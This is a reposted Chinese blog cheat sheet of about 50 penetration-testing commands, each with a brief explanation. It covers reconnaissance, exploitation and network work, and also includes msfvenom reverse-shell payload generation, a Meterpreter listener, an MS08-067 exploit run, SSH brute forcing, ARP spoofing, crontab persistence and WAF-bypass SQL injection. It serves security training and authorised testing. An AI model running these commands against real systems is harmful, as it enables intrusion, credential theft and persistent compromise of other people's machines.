文章总结: 本文档提供了50个渗透攻防命令的速查表,涵盖信息收集、漏洞扫描、权限提升、网络分析、Web渗透、系统维护、高级攻击技术、密码学、容器云安全等多个方面。每个命令都配有简要说明,包括参数解释和使用场景,是渗透测试人员的实用参考手册,可用于快速查找和执行常见渗透测试任务。
综合评分: 91
文章分类: 渗透测试,WEB安全,漏洞分析,红队,网络安全
实战利器 50个渗透攻防命令速查!
原创
牛叫瘦
HACK之道
2025年11月16日 08:46
重庆
一、信息收集与分析
- 1. nmap -sV -O -A -p- 目标IP
- • 这是一个综合的nmap扫描命令,用于发现目标主机的开放端口、服务版本、操作系统类型以及可能的漏洞。
-sV选项用于检测服务版本,-O用于检测操作系统类型,-A启用操作系统和服务检测的高级选项,-p-表示扫描所有端口。
- 2. masscan -p1-65535 -rate=10000 目标IP段
- • Masscan是一款高速端口扫描器,能够在短时间内扫描大量IP地址和端口。这个命令以每秒10000个数据包的速度扫描指定IP段的所有端口。
- 3. theHarvester -d 域名 -l 500 -b 所有
- • TheHarvester是一款信息收集工具,用于收集目标域名的电子邮件地址、子域名和主机名等信息。这个命令搜索与指定域名相关的最多500个结果,并尝试从所有可能的来源(如搜索引擎、DNS查询等)获取信息。
- 4. dig +short -x 目标IP
- • 使用DIG工具进行反向DNS查询,获取与目标IP地址相关联的域名信息。
- 5. curl -I -L -H “User-Agent: 自定义User-Agent” 目标URL
- • 通过curl命令发送HTTP HEAD请求,并跟随重定向,同时自定义User-Agent字段,以获取目标Web服务器的响应头信息。
二、漏洞扫描与利用
- 1. msfconsole -x “use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 本地IP; set LPORT 端口号; exploit”
- • 在Metasploit框架中,通过命令行方式配置并启动一个监听器,等待来自目标主机的反向连接。这个配置用于Windows系统的Meterpreter有效载荷。
- 2. sqlmap -u “目标URL?param=value” –dbms=MySQL –level=5 –risk=3 –batch –random-agent
- • 使用sqlmap对目标URL进行SQL注入测试,指定数据库类型为MySQL,设置测试级别为5(最高级别),风险等级为3(高风险),启用批处理模式,并使用随机User-Agent。
- 3. hydra -l 用户名 -P 密码字典 -t 线程数 ssh://目标IP
- • 使用Hydra工具对目标IP的SSH服务进行暴力破解,指定用户名、密码字典和线程数。
- 4. john –wordlist=密码字典 –rules –format=类型 加密哈希
- • 使用John the Ripper工具对加密哈希进行破解,指定密码字典、启用规则集、指定哈希格式。
- 5. msfvenom -p windows/meterpreter/reverse_tcp LHOST=本地IP LPORT=端口号 -f exe > 恶意软件.exe
- • 使用Metasploit的msfvenom命令生成一个Windows反向TCP Meterpreter有效载荷的可执行文件。
三、权限提升与持久化
- 1. powershell -ExecutionPolicy Bypass -File 权限提升脚本.ps1
- • 在Windows系统中,通过绕过执行策略的方式运行一个权限提升脚本。
- 2. sudo -l && sudo -u root /bin/bash
- • 首先列出当前用户可执行的sudo命令,然后使用sudo以root用户身份启动bash shell。
- 3. find / -perm -4000 2>/dev/null
- • 在Unix/Linux系统中查找具有SUID权限的文件,忽略错误信息。
- 4. chmod u+s 可执行文件
- • 设置文件的SUID权限,使该文件以文件所有者的权限运行。
- 5. echo ‘shell脚本内容’ | sudo tee /etc/crontab
- • 通过sudo权限将shell脚本内容写入crontab文件,实现定时任务持久化。
四、网络流量分析与捕获
- 1. tcpdump -i 接口名 -w 捕获文件.pcap ‘过滤表达式’
- • 使用tcpdump在指定接口上捕获网络流量,并保存到文件中,同时应用过滤表达式以限制捕获的数据量。
- 2. wireshark -r 捕获文件.pcap -Y ‘过滤表达式’ -T text
- • 使用Wireshark打开捕获文件,应用过滤表达式,并以文本格式显示结果。
- 3. tshark -i 接口名 -f ‘捕获过滤器’ -w 捕获文件.pcapng
- • 使用Tshark(Wireshark的命令行版本)在指定接口上捕获网络流量,应用捕获过滤器,并保存到文件中。
- 4. scapy 脚本.py
- • 运行一个使用Scapy库编写的Python脚本,用于网络流量生成、捕获和分析。
- 5. ettercap -T -i 接口名 -M arp:remote /目标IP1//目标IP2//
- • 使用Ettercap工具在中间人攻击模式下,对指定IP地址对进行ARP欺骗。
五、Web渗透测试
- 1. burpsuite –project=项目名 –proxy-listeners=本地IP:端口
- • 启动Burp Suite并加载指定项目,同时配置代理监听器。
- 2. owasp-zap -daemon -host 0.0.0.0 -port 端口号 -config api.disablekey=true
- • 以守护进程模式启动OWASP ZAP,配置监听地址和端口,并禁用API密钥验证。
- 3. curl -X POST -d “参数名=参数值” -H “Content-Type: application/x-www-form-urlencoded” 目标URL
- • 使用curl命令发送一个POST请求,包含表单数据和请求头信息。
- 4. sqlmap -u “目标URL” –batch –dbms=PostgreSQL –level=3 –risk=2 –tamper=tamper脚本
- • 对目标URL进行SQL注入测试,指定数据库类型为PostgreSQL,设置测试级别和风险等级,并使用tamper脚本对请求进行篡改以绕过WAF。
- 5. gobuster dir -u 目标URL -w 字典文件 -t 线程数
- • 使用Gobuster工具对目标URL进行目录爆破,指定字典文件和线程数。
六、系统维护与日志分析
- 1. top -b -n 1 | grep 进程名 | awk ‘{print $9}’ | tr -d ‘m|k|G|t|%’
- • 使用top命令获取系统性能信息,筛选出指定进程的内存使用量(去除单位)。
- 2. ps -ef | grep 进程名 | grep -v grep
- • 查找并列出系统中正在运行的指定进程。
- 3. df -h | awk ‘$NF==”/”{printf “磁盘使用率: %d/%dGB (%.2f%%)\n”, $3/$1024,$2/$1024,$5 “”}’
- • 格式化显示磁盘使用情况,包括已用和可用空间以及使用率。
- 4. grep ‘关键字’ /var/log/系统日志文件 | awk ‘{print $1, $2, $3, $4, $7}’
- • 在系统日志文件中搜索包含指定关键字的行,并格式化输出时间戳、主机名、进程ID和日志消息。
- 5. awk ‘/关键字/ {print $0}’ /var/log/auth.log | sort | uniq -c | sort -nr
- • 在认证日志文件中搜索包含指定关键字的行,对结果进行排序、去重、计数,并按降序排列。
七、高级攻击与防御技术
- 1. mitmproxy -s 脚本文件.py
- • 启动Mitmproxy并加载指定的Python脚本,用于拦截、修改和分析HTTP/HTTPS流量。
- 2. meterpreter > run post/windows/gather/check_vm
- • 在Meterpreter会话中运行一个后渗透模块,检查目标系统是否为虚拟机。
- 3. msfconsole -q -x “use exploit/windows/smb/ms08_067_netapi; set RHOST 目标IP; exploit”
- • 在Metasploit框架中静默模式下运行一个SMB漏洞利用模块,指定目标IP并执行攻击。
- 4. nmap –script=漏洞脚本 -p 端口号 目标IP
- • 使用nmap的脚本引擎对目标IP的指定端口进行漏洞扫描。
- 5. arpspoof -i 接口名 -t 目标IP 网关IP
- • 使用ARP欺骗工具arpspoof对指定目标IP进行ARP欺骗,将目标IP的流量重定向到指定的网关IP。
八、密码学与加密技术
- 1. openssl genpkey -algorithm RSA -out 私钥文件.pem -pkeyopt rsa_keygen_bits:2048
- • 使用OpenSSL生成一个2048位的RSA私钥文件。
- 2. openssl req -new -key 私钥文件.pem -out 证书请求文件.csr
- • 根据已有的私钥文件生成证书签名请求(CSR)。
- 3. openssl x509 -req -days 365 -in 证书请求文件.csr -signkey 私钥文件.pem -out 自签名证书.crt
- • 使用私钥对CSR进行签名,生成自签名证书,有效期为365天。
- 4. gpg –encrypt –recipient 接收者公钥ID 文件名
- • 使用GPG对文件进行加密,指定接收者的公钥ID。
- 5. ssh-keygen -t rsa -b 4096 -C “注释”
- • 生成一个4096位的RSA SSH密钥对,并添加注释。
九、容器与云服务安全
- 1. docker exec -it 容器ID /bin/bash
- • 进入正在运行的Docker容器内部,并启动bash shell。
- 2. kubectl exec -it 部署名 -n 命名空间 — /bin/bash
- • 进入Kubernetes集群中指定部署的Pod内部,并启动bash shell。
- 3. aws ec2 describe-instances –filters “Name=tag:Name,Values=实例名” –query ‘Reservations[].Instances[].[InstanceId,PublicIpAddress]’
- • 使用AWS CLI查询指定标签的EC2实例ID和公网IP地址。
- 4. gcloud compute instances list –filter=”name=(‘实例名’)” –format=”table(name,networkInterfaces[0].accessConfigs[0].natIP)”
- • 使用Google Cloud CLI列出指定名称的GCE实例及其公网IP地址。
十、其他高级命令
- 1. strace -p 进程ID -e trace=network
- • 使用strace工具跟踪指定进程的网络活动。
- 2. lsof -i -P -n
- • 列出当前系统中所有打开的网络连接和监听端口。
- 3. perf top
- • 使用perf工具实时监控和分析系统性能瓶颈。
- 4. bcrypt.hashpw(‘密码’, bcrypt.gensalt())
- • 使用Python的bcrypt库对密码进行哈希处理,生成安全的密码散列值。
- 5. iptables -A INPUT -p tcp –dport 22 -j DROP
- • 使用iptables规则阻止所有对SSH端口(22)的入站TCP连接。
- 6. nft add rule ip filter input iif lo accept
- • 使用nftables规则允许来自回环接口的数据包通过。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:HACK之道 牛叫瘦《实战利器 50个渗透攻防命令速查!》